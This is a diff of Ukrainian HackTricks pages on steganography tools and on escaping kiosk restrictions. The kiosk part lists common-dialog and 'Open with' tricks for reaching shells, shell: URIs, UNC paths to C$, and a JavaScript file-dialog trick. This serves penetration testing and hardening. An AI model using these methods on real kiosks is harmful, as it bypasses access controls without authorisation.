Техніки швидкого перетворення Фур'є (FFT) можуть розкрити прихований вміст в зображеннях. Корисні ресурси включають:
|
||||
|
||||
* [Демонстрація EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [FFTStegPic на GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **Stegpy для аудіо- та зображення файлів**
|
||||
|
||||
Stegpy дозволяє вбудовувати інформацію у зображення та аудіо файли, підтримуючи формати, такі як PNG, BMP, GIF, WebP та WAV. Він доступний на [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
Stegpy дозволяє вбудовувати інформацію в зображення та аудіофайли, підтримуючи формати, такі як PNG, BMP, GIF, WebP та WAV. Він доступний на [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
|
||||
### **Pngcheck для аналізу файлів PNG**
|
||||
|
||||
Для аналізу файлів PNG або перевірки їх автентичності використовуйте:
|
||||
### **Pngcheck для аналізу файлів PNG**
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
|
@ -155,11 +154,11 @@ pngcheck stego.png
|
|||
|
||||
## **Видобування Даних з Аудіофайлів**
|
||||
|
||||
**Аудіостеганографія** пропонує унікальний метод приховування інформації у звукових файлах. Для вбудовування або витягування прихованого вмісту використовуються різні інструменти.
|
||||
**Аудіостеганографія** пропонує унікальний метод приховування інформації в звукових файлах. Для вбудовування або витягування прихованого вмісту використовуються різні інструменти.
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide - це універсальний інструмент, призначений для приховування даних у файлах JPEG, BMP, WAV та AU. Детальні інструкції наведені в [документації зі стеготрюками](stego-tricks.md#steghide).
|
||||
Steghide є універсальним інструментом, призначеним для приховування даних в файлах JPEG, BMP, WAV та AU. Детальні інструкції наведені в [документації зі стеганографічними трюками](stego-tricks.md#steghide).
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
|
@ -181,21 +180,21 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
|||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound дозволяє шифрувати та виявляти інформацію в звукових файлах за допомогою AES-256. Його можна завантажити з [офіційної сторінки](http://jpinsoft.net/deepsound/download.aspx).
|
||||
Deepsound дозволяє шифрування та виявлення інформації в звукових файлах за допомогою AES-256. Його можна завантажити з [офіційної сторінки](http://jpinsoft.net/deepsound/download.aspx).
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
Незамінний інструмент для візуального та аналітичного огляду аудіофайлів, Sonic Visualizer може розкрити приховані елементи, недоступні для інших засобів. Відвідайте [офіційний веб-сайт](https://www.sonicvisualiser.org/) для отримання додаткової інформації.
|
||||
Незамінний інструмент для візуального та аналітичного інспектування аудіо файлів, Sonic Visualizer може розкрити приховані елементи, недоступні для виявлення іншими засобами. Відвідайте [офіційний веб-сайт](https://www.sonicvisualiser.org/) для отримання більше інформації.
|
||||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
Виявлення DTMF-сигналів в аудіофайлах можливо завдяки онлайн-інструментам, таким як [цей детектор DTMF](https://unframework.github.io/dtmf-detect/) та [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
Виявлення DTMF сигналів в аудіо файлах можливо завдяки онлайн інструментам, таким як [цей DTMF детектор](https://unframework.github.io/dtmf-detect/) та [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Інші Техніки**
|
||||
|
||||
### **Binary Length SQRT - QR Code**
|
||||
|
||||
Бінарні дані, які підносяться до квадрату цілого числа, можуть представляти собою QR-код. Використовуйте цей фрагмент для перевірки:
|
||||
Бінарні дані, які підносяться до квадратного кореня цілого числа, можуть представляти собою QR код. Використовуйте цей фрагмент коду для перевірки:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
|
@ -209,8 +208,23 @@ math.sqrt(2500) #50
|
|||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Група Try Hard Security Group**
|
||||
**Група з безпеки Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,47 @@
|
|||
# Втеча з КІОСКів
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) - це пошуковик, який працює на **темному веб-просторі** та пропонує **безкоштовні** функціональні можливості для перевірки того, чи були **компанія або її клієнти скомпрометовані** **зловмисними програмами-крадіями**.
|
||||
|
||||
Основною метою WhiteIntel є боротьба з захопленням облікових записів та атаками вірусів-вимагачів, що виникають внаслідок викрадення інформації.
|
||||
|
||||
Ви можете перевірити їх веб-сайт та спробувати їхній двигун **безкоштовно** за посиланням:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## Перевірка фізичного пристрою
|
||||
|
||||
| Компонент | Дія |
|
||||
| ------------- | -------------------------------------------------------------------- |
|
||||
| Кнопка живлення | Вимкнення та увімкнення пристрою може викрити початковий екран |
|
||||
| Живлення | Перевірте, чи пристрій перезавантажується при короткочасному відключенні живлення |
|
||||
| USB порти | Підключіть фізичну клавіатуру з більшою кількістю скорочень |
|
||||
| Ethernet | Сканування мережі або перехоплення може дозволити подальшу експлуатацію |
|
||||
|
||||
|
||||
# Перевірка можливих дій у GUI-додатку
|
||||
## Перевірка можливих дій всередині GUI-застосунку
|
||||
|
||||
**Загальні діалоги** - це опції **збереження файлу**, **відкриття файлу**, вибір шрифту, кольору... Більшість з них **пропонуватимуть повну функціональність провідника**. Це означає, що ви зможете отримати доступ до функцій провідника, якщо зможете отримати доступ до цих опцій:
|
||||
**Загальні діалоги** - це опції **збереження файлу**, **відкриття файлу**, вибір шрифту, кольору... Більшість з них **пропонуватимуть повну функціональність Провідника**. Це означає, що ви зможете отримати доступ до функцій Провідника, якщо зможете отримати доступ до цих опцій:
|
||||
|
||||
* Закрити/Закрити як
|
||||
* Відкрити/Відкрити за
|
||||
|
@ -29,32 +55,32 @@
|
|||
* Змінювати або створювати нові файли
|
||||
* Створювати символічні посилання
|
||||
* Отримати доступ до обмежених областей
|
||||
* Виконувати інші додатки
|
||||
* Виконувати інші програми
|
||||
|
||||
## Виконання команд
|
||||
### Виконання команд
|
||||
|
||||
Можливо, **використовуючи опцію `Відкрити за`** ви можете відкрити/виконати якийсь вид оболонки.
|
||||
Можливо, **використовуючи опцію `Відкрити за`** ви можете відкрити/виконати який-небудь тип оболонки.
|
||||
|
||||
### Windows
|
||||
#### Windows
|
||||
|
||||
Наприклад _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ знайдіть більше виконуваних файлів, які можна використовувати для виконання команд (та виконання неочікуваних дій) тут: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
### \*NIX __
|
||||
#### \*NIX \_\_
|
||||
|
||||
_bash, sh, zsh..._ Більше тут: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
|
||||
# Windows
|
||||
## Windows
|
||||
|
||||
## Обхід обмежень шляху
|
||||
### Обхід обмежень шляху
|
||||
|
||||
* **Змінні середовища**: Є багато змінних середовища, які вказують на деякий шлях
|
||||
* **Інші протоколи**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **Символічні посилання**
|
||||
* **Ярлики**: CTRL+N (відкрити нову сесію), CTRL+R (Виконати команди), CTRL+SHIFT+ESC (Диспетчер завдань), Windows+E (відкрити провідник), CTRL-B, CTRL-I (Вибране), CTRL-H (Історія), CTRL-L, CTRL-O (Діалог Відкриття файлу), CTRL-P (Діалог Друку), CTRL-S (Зберегти як)
|
||||
* **Ярлики**: CTRL+N (відкрити нову сесію), CTRL+R (Виконати команди), CTRL+SHIFT+ESC (Диспетчер завдань), Windows+E (відкрити провідник), CTRL-B, CTRL-I (Обрані), CTRL-H (Історія), CTRL-L, CTRL-O (Діалог Відкриття файлу), CTRL-P (Діалог Друку), CTRL-S (Зберегти як)
|
||||
* Приховане адміністративне меню: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
* **URI оболонки**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
* **UNC-шляхи**: Шляхи для підключення до спільних папок. Ви повинні спробувати підключитися до C$ локальної машини ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **Більше UNC-шляхів:**
|
||||
* **Ще UNC-шляхи:**
|
||||
|
||||
| UNC | UNC | UNC |
|
||||
| ------------------------- | -------------- | -------------------- |
|
||||
|
@ -66,15 +92,15 @@ _bash, sh, zsh..._ Більше тут: [https://gtfobins.github.io/](https://gt
|
|||
| %PROMPT% | %PSModulePath% | %Public% |
|
||||
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
|
||||
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
||||
| %USERPROFILE% | %WINDIR% | |
|
||||
| %USERPROFILE% | %WINDIR% | |
|
||||
|
||||
## Завантажте ваші виконувані файли
|
||||
### Завантажте свої виконувані файли
|
||||
|
||||
Консоль: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||
Провідник: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
Редактор реєстру: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||
|
||||
## Доступ до файлової системи з браузера
|
||||
### Доступ до файлової системи з браузера
|
||||
|
||||
| ШЛЯХ | ШЛЯХ | ШЛЯХ | ШЛЯХ |
|
||||
| ------------------- | ----------------- | ------------------ | ------------------- |
|
||||
|
@ -85,15 +111,14 @@ _bash, sh, zsh..._ Більше тут: [https://gtfobins.github.io/](https://gt
|
|||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||
|
||||
## Ярлики
|
||||
### Гарячі клавіші
|
||||
|
||||
* Sticky Keys – Натисніть SHIFT 5 разів
|
||||
* Mouse Keys – SHIFT+ALT+NUMLOCK
|
||||
* High Contrast – SHIFT+ALT+PRINTSCN
|
||||
* Toggle Keys – Утримуйте NUMLOCK протягом 5 секунд
|
||||
* Filter Keys – Утримуйте правий SHIFT протягом 12 секунд
|
||||
* WINDOWS+F1 – Пошук в Windows
|
||||
* Високий контраст – SHIFT+ALT+PRINTSCN
|
||||
* Клавіші перемикання – Утримуйте NUMLOCK протягом 5 секунд
|
||||
* Клавіші фільтрації – Утримуйте правий SHIFT протягом 12 секунд
|
||||
* WINDOWS+F1 – Пошук у Windows
|
||||
* WINDOWS+D – Показати робочий стіл
|
||||
* WINDOWS+E – Запустити Провідник Windows
|
||||
* WINDOWS+R – Виконати
|
||||
|
@ -101,29 +126,30 @@ _bash, sh, zsh..._ Більше тут: [https://gtfobins.github.io/](https://gt
|
|||
* WINDOWS+F – Пошук
|
||||
* SHIFT+F10 – Контекстне меню
|
||||
* CTRL+SHIFT+ESC – Диспетчер завдань
|
||||
* CTRL+ALT+DEL – Екран привітання на новіших версіях Windows
|
||||
* CTRL+ALT+DEL – Екран запуску на новіших версіях Windows
|
||||
* F1 – Довідка F3 – Пошук
|
||||
* F6 – Панель адреси
|
||||
* F11 – Перемикання повноекранного режиму в Internet Explorer
|
||||
* F11 – Перемикання на повноекранний режим у Internet Explorer
|
||||
* CTRL+H – Історія Internet Explorer
|
||||
* CTRL+T – Internet Explorer – Нова вкладка
|
||||
* CTRL+N – Internet Explorer – Нова сторінка
|
||||
* CTRL+O – Відкрити файл
|
||||
* CTRL+S – Зберегти CTRL+N – Новий RDP / Citrix
|
||||
## Проведення пальцем
|
||||
|
||||
* Проведіть пальцем зліва направо, щоб побачити всі відкриті вікна, зменшити додаток KIOSK та отримати прямий доступ до всієї операційної системи;
|
||||
* Проведіть пальцем зправа наліво, щоб відкрити Центр дій, зменшити додаток KIOSK та отримати прямий доступ до всієї операційної системи;
|
||||
* Проведіть пальцем зверху вниз, щоб зробити видимою панель заголовка для додатка, відкритого в повноекранному режимі;
|
||||
* Проведіть пальцем знизу вгору, щоб показати панель завдань у додатку на весь екран.
|
||||
### Проведення
|
||||
|
||||
## Прийоми для Internet Explorer
|
||||
* Проведіть від лівого краю до правого, щоб побачити всі відкриті вікна, мінімізуючи додаток KIOSK та отримуючи прямий доступ до всієї ОС;
|
||||
* Проведіть від правого краю до лівого, щоб відкрити Центр дій, мінімізуючи додаток KIOSK та отримуючи прямий доступ до всієї ОС;
|
||||
* Проведіть зверху, щоб зробити видимою панель заголовка для додатка, відкритого в повноекранному режимі;
|
||||
* Проведіть вгору знизу, щоб показати панель завдань у додатку на повному екрані.
|
||||
|
||||
### 'Панель зображення'
|
||||
### Хитрощі Internet Explorer
|
||||
|
||||
Це панель інструментів, яка з'являється у верхньому лівому куті зображення при його кліку. Ви зможете зберегти, надрукувати, надіслати поштою, відкрити "Мої зображення" в Провіднику. Кіоск повинен використовувати Internet Explorer.
|
||||
#### 'Панель зображення'
|
||||
|
||||
### Протокол оболонки
|
||||
Це панель інструментів, яка з'являється вгорі ліворуч зображення при його кліку. Ви зможете Зберегти, Роздрукувати, Надіслати поштою, Відкрити "Мої зображення" в Провіднику. Kiosk повинен використовувати Internet Explorer.
|
||||
|
||||
#### Протокол оболонки
|
||||
|
||||
Введіть ці URL-адреси, щоб отримати перегляд Провідника:
|
||||
|
||||
|
@ -149,49 +175,39 @@ _bash, sh, zsh..._ Більше тут: [https://gtfobins.github.io/](https://gt
|
|||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Мої мережеві місця
|
||||
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||
|
||||
## Показ розширень файлів
|
||||
### Показ розширень файлів
|
||||
|
||||
Перевірте цю сторінку для отримання додаткової інформації: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
|
||||
# Прийоми для браузерів
|
||||
## Хитрощі браузерів
|
||||
|
||||
Резервне копіювання версій iKat:
|
||||
Резервні копії версій iKat:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
||||
|
||||
Створіть загальний діалог за допомогою JavaScript та отримайте доступ до Провідника файлів: `document.write('<input/type=file>')`
|
||||
Джерело: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
Створіть загальний діалог за допомогою JavaScript та отримайте доступ до провідника файлів: `document.write('<input/type=file>')`\
|
||||
Джерело: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
|
||||
# iPad
|
||||
## iPad
|
||||
|
||||
## Жести та кнопки
|
||||
### Жести та кнопки
|
||||
|
||||
* Проведіть вгору чотирма (або п'ятьма) пальцями / Подвійне натискання кнопки "Додому": Щоб переглянути перегляд багатьох завдань та змінити додаток
|
||||
|
||||
* Проведіть одним чи іншим способом чотирма або п'ятьма пальцями: Щоб перейти до наступного/попереднього додатка
|
||||
|
||||
* Зжимайте екран п'ятьма пальцями / Торкніться кнопки "Додому" / Проведіть пальцем вгору одним пальцем знизу екрана в швидкому русі вгору: Для доступу до Дому
|
||||
|
||||
* Проведіть одним пальцем знизу екрана всього 1-2 дюйми (повільно): З'явиться док-станція
|
||||
|
||||
* Зжимайте екран п'ятьма пальцями / Торкніться кнопки "Додому" / Проведіть вгору одним пальцем знизу екрана швидким рухом вгору: Для доступу до дому
|
||||
* Проведіть одним пальцем знизу екрана всього 1-2 дюйми (повільно): Появиться док-станція
|
||||
* Проведіть пальцем вниз зверху дисплея одним пальцем: Щоб переглянути свої сповіщення
|
||||
|
||||
* Проведіть пальцем вниз одним пальцем у верхньому правому куті екрана: Щоб побачити центр керування iPad Pro
|
||||
|
||||
* Проведіть одним пальцем зліва від екрана 1-2 дюйми: Щоб побачити перегляд сьогодні
|
||||
* Проведіть швидко одним пальцем з центру екрана вправо або вліво: Щоб перейти до наступного/попереднього додатка
|
||||
* Натисніть і утримуйте кнопку Увімкнення/Вимкнення/Сон у верхньому правому куті iPad + Перемістіть повзунок "вимкнути" аж до кінця праворуч: Для вимкнення живлення
|
||||
* Натисніть кнопку Увімкнення/Вимкнення/Сон у верхньому правому куті iPad та кнопку "Додому" протягом кількох секунд: Для примусового вимкнення
|
||||
* Натисніть кнопку Увімкнення/Вимкнення/Сон у верхньому правому куті iPad та кнопку "Додому" швидко: Для зроблення знімка екрана, який з'явиться в нижньому лівому куті дисплея. Натисніть обидві кнопки одночасно дуже коротко, якщо ви утримуєте їх кілька секунд, буде виконано примусове вимкнення.
|
||||
|
||||
* Швидко проведіть одним пальцем з центру екрана вправо або вліво: Щоб перейти до наступного/попереднього додатка
|
||||
### Гарячі клавіші
|
||||
|
||||
* Натисніть і утримуйте кнопку Увімкнення/Вимкнення/Сон у верхньому правому куті iPad + Перемістіть повзунок "вимкнути" до кінця праворуч: Щоб вимкнути живлення
|
||||
|
||||
* Натисніть кнопку Увімкнення/Вимкнення/Сон у верхньому правому куті iPad та кнопку "Додому" протягом кількох секунд: Щоб примусово вимкнути живлення
|
||||
|
||||
* Натисніть кнопку Увімкнення/Вимкнення/Сон у верхньому правому куті iPad та кнопку "Додому" швидко: Щоб зробити знімок екрана, який з'явиться в нижньому лівому куті дисплея. Натисніть обидві кнопки одночасно дуже коротко, якщо ви утримуєте їх кілька секунд, буде виконано примусове вимкнення.
|
||||
|
||||
## Швидкі клавіші
|
||||
|
||||
Вам потрібна клавіатура для iPad або адаптер USB клавіатури. Тут показані лише швидкі клавіші, які можуть допомогти вийти з додатка.
|
||||
Вам потрібна клавіатура для iPad або адаптер USB клавіатури. Тут показані лише гарячі клавіші, які можуть допомогти вийти з додатка.
|
||||
|
||||
| Клавіша | Назва |
|
||||
| --- | ------------ |
|
||||
|
@ -199,102 +215,114 @@ _bash, sh, zsh..._ Більше тут: [https://gtfobins.github.io/](https://gt
|
|||
| ⌥ | Опція (Alt) |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Повернення |
|
||||
| ⇥ | Таб |
|
||||
| ⇥ | Вкладка |
|
||||
| ^ | Контроль |
|
||||
| ← | Ліва стрілка |
|
||||
| → | Права стрілка |
|
||||
| ← | Вліво |
|
||||
| → | Вправо |
|
||||
| ↑ | Вгору |
|
||||
| ↓ | Вниз |
|
||||
|
||||
### Системні швидкі клавіші
|
||||
#### Гарячі клавіші системи
|
||||
|
||||
Ці швидкі клавіші призначені для візуальних налаштувань та звукових налаштувань, залежно від використання iPad.
|
||||
Ці гарячі клавіші призначені для візуальних налаштувань та звукових налаштувань, залежно від використання iPad.
|
||||
|
||||
| Швидка клавіша | Дія |
|
||||
| Гаряча клавіша | Дія |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | Затемнити екран |
|
||||
| F2 | Підсвітити екран |
|
||||
| F7 | Повернутися на одну пісню |
|
||||
| F7 | Назад на одну пісню |
|
||||
| F8 | Відтворення/пауза |
|
||||
| F9 | Пропустити пісню |
|
||||
| F10 | Без звуку |
|
||||
| F11 | Зменшити гучність |
|
||||
| F12 | Збільшити гучність |
|
||||
| ⌘ Пробіл | Показати список доступних мов; щоб вибрати одну, ще раз натисніть пробіл. |
|
||||
| ⌘ Space | Показати список доступних мов; щоб вибрати одну, ще раз натисніть пробіл. |
|
||||
|
||||
### Навігація iPad
|
||||
#### Навігація iPad
|
||||
|
||||
| Швидка клавіша | Дія |
|
||||
| Гаряча клавіша | Дія |
|
||||
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | Перейти на Головний екран |
|
||||
| ⌘⇧H (Command-Shift-H) | Перейти на Головний екран |
|
||||
| ⌘H | Перейти на домашню сторінку |
|
||||
| ⌘⇧H (Command-Shift-H) | Перейти на домашню сторінку |
|
||||
| ⌘ (Space) | Відкрити Spotlight |
|
||||
| ⌘⇥ (Command-Tab) | Список останніх десяти використаних додатків |
|
||||
| ⌘\~ | Перейти до останнього додатка |
|
||||
| ⌘⇧3 (Command-Shift-3) | Зробити знімок екрана (з'являється в нижньому лівому куті для збереження або дій над ним) |
|
||||
| ⌘⇧4 | Зробити знімок екрана та відкрити його в редакторі |
|
||||
| Натисніть і утримуйте ⌘ | Список доступних швидких клавіш для додатка |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | Викликати док-станцію |
|
||||
| ⌘⇧3 (Command-Shift-3) | Знімок екрана (з'являється в нижньому лівому куті для збереження або дій над ним) |
|
||||
| ⌘⇧4 | Знімок екрана та відкриття його в редакторі |
|
||||
| Натисніть і утримуйте ⌘ | Список доступних скорочених клавіш для додатка |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | Виклик док-станції |
|
||||
| ^⌥H (Control-Option-H) | Кнопка "Додому" |
|
||||
| ^⌥H H (Control-Option-H-H) | Показати панель багатозадачності |
|
||||
| ^⌥I (Control-Option-i) | Вибір елемента |
|
||||
| Escape | Кнопка "Назад" |
|
||||
| → (Права стрілка) | Наступний елемент |
|
||||
| ← (Ліва стрілка) | Попередній елемент |
|
||||
| ↑↓ (Стрілка вгору, стрілка вниз) | Одночасно натисніть вибраний елемент |
|
||||
| ⌥ ↓ (Опція-стрілка вниз) | Прокрутити вниз |
|
||||
| ⌥↑ (Опція-стрілка вгору) | Прокрутити вгору |
|
||||
| ⌥← або ⌥→ (Опція-стрілка вліво або Опція-стрілка вправо) | Прокрутити вліво або вправо |
|
||||
| ^⌥S (Control-Option-S) | Увімкнути або вимкнути голосове оголошення |
|
||||
| → (Стрілка вправо) | Наступний елемент |
|
||||
| ← (Стрілка вліво) | Попередній елемент |
|
||||
| ↑↓ (Стрілка вгору, Стрілка вниз) | Одночасно натисніть вибраний елемент |
|
||||
| ⌥ ↓ (Опція-Стрілка вниз) | Прокрутити вниз |
|
||||
| ⌥↑ (Опція-Стрілка вгору) | Прокрутити вгору |
|
||||
| ⌥← або ⌥→ (Опція-Стрілка вліво або Опція-Стрілка вправо) | Прокрутити вліво або вправо |
|
||||
| ^⌥S (Control-Option-S) | Увімкнути або вимкнути голосовий вихід VoiceOver |
|
||||
| ⌘⇧⇥ (Command-Shift-Tab) | Переключитися на попередній додаток |
|
||||
| ⌘⇥ (Command-Tab) | Повернутися до початкового додатка |
|
||||
| ←+→, потім Опція + ← або Опція+→ | Навігація через Док |
|
||||
### Гарячі клавіші Safari
|
||||
| ←+→, потім Опція + ← або Опція+→ | Навігація через док-станцію |
|
||||
#### Гарячі клавіші Safari
|
||||
|
||||
| Гаряча клавіша | Дія |
|
||||
| ----------------------- | ------------------------------------------------ |
|
||||
| ⌘L (Command-L) | Відкрити рядок адреси |
|
||||
| ⌘T | Відкрити нову вкладку |
|
||||
| ⌘W | Закрити поточну вкладку |
|
||||
| ⌘R | Оновити поточну вкладку |
|
||||
| ⌘. | Зупинити завантаження поточної вкладки |
|
||||
| ^⇥ | Перейти на наступну вкладку |
|
||||
| ^⇧⇥ (Control-Shift-Tab) | Перейти на попередню вкладку |
|
||||
| ⌘L | Вибрати текстове поле введення/URL для зміни |
|
||||
| Клавіші | Дія |
|
||||
| ----------------------- | --------------------------------------------- |
|
||||
| ⌘L (Command-L) | Відкрити рядок адреси |
|
||||
| ⌘T | Відкрити нову вкладку |
|
||||
| ⌘W | Закрити поточну вкладку |
|
||||
| ⌘R | Оновити поточну вкладку |
|
||||
| ⌘. | Зупинити завантаження поточної вкладки |
|
||||
| ^⇥ | Перемкнутися на наступну вкладку |
|
||||
| ^⇧⇥ (Control-Shift-Tab) | Переміститися на попередню вкладку |
|
||||
| ⌘L | Вибрати поле введення тексту/URL для зміни |
|
||||
| ⌘⇧T (Command-Shift-T) | Відкрити останню закриту вкладку (можна використовувати кілька разів) |
|
||||
| ⌘\[ | Повернутися на одну сторінку у вашій історії перегляду |
|
||||
| ⌘] | Перейти на одну сторінку вперед у вашій історії перегляду |
|
||||
| ⌘⇧R | Активувати режим читання |
|
||||
| ⌘⇧R | Активувати режим читання |
|
||||
|
||||
### Гарячі клавіші пошти
|
||||
#### Гарячі клавіші пошти
|
||||
|
||||
| Гаряча клавіша | Дія |
|
||||
| ----------------------- | ---------------------------- |
|
||||
| ⌘L | Відкрити рядок адреси |
|
||||
| ⌘T | Відкрити нову вкладку |
|
||||
| ⌘W | Закрити поточну вкладку |
|
||||
| ⌘R | Оновити поточну вкладку |
|
||||
| ⌘. | Зупинити завантаження поточної вкладки |
|
||||
| Клавіші | Дія |
|
||||
| -------------------------- | ---------------------------- |
|
||||
| ⌘L | Відкрити рядок адреси |
|
||||
| ⌘T | Відкрити нову вкладку |
|
||||
| ⌘W | Закрити поточну вкладку |
|
||||
| ⌘R | Оновити поточну вкладку |
|
||||
| ⌘. | Зупинити завантаження поточної вкладки |
|
||||
